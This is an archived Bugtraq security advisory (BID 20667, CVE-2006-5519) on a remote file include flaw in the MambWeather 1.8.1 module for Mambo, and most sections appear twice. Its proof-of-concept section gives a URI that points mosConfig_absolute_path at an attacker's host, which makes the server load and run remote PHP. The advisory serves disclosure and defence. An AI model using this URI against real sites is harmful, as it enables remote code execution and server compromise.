Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
BID:20667
Info
Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
| Bugtraq ID: | 20667 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-5519 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 22 2006 12:00AM |
| Updated: | Apr 12 2007 10:51PM |
| Credit: | h4ntu is credited with the discovery of this vulnerability. |
| Vulnerable: |
MambWeather MambWeather 1.8.1 |
| Not Vulnerable: | |
Discussion
Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
The Mambo MambWeather module is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
This issue affects version 1.8.1 and earlier.
The Mambo MambWeather module is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
This issue affects version 1.8.1 and earlier.
Exploit / POC
Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[path_to_mambo]/modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path=http://attacker's site
Attackers can exploit this issue via a web client.
The following proof-of-concept URI is available:
http://www.example.com/[path_to_mambo]/modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path=http://attacker's site
Solution / Fix
Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
References
Mambo MambWeather Module Savant2_Plugin_Options.PHP Remote File Include Vulnerability
References:
References:
- Mambo module MambWeather 1.8.1 (Savant2_Plugin_options.php) Remote File Inclusio (Cold z3ro)
- MambWeather Product Page (MambWeather)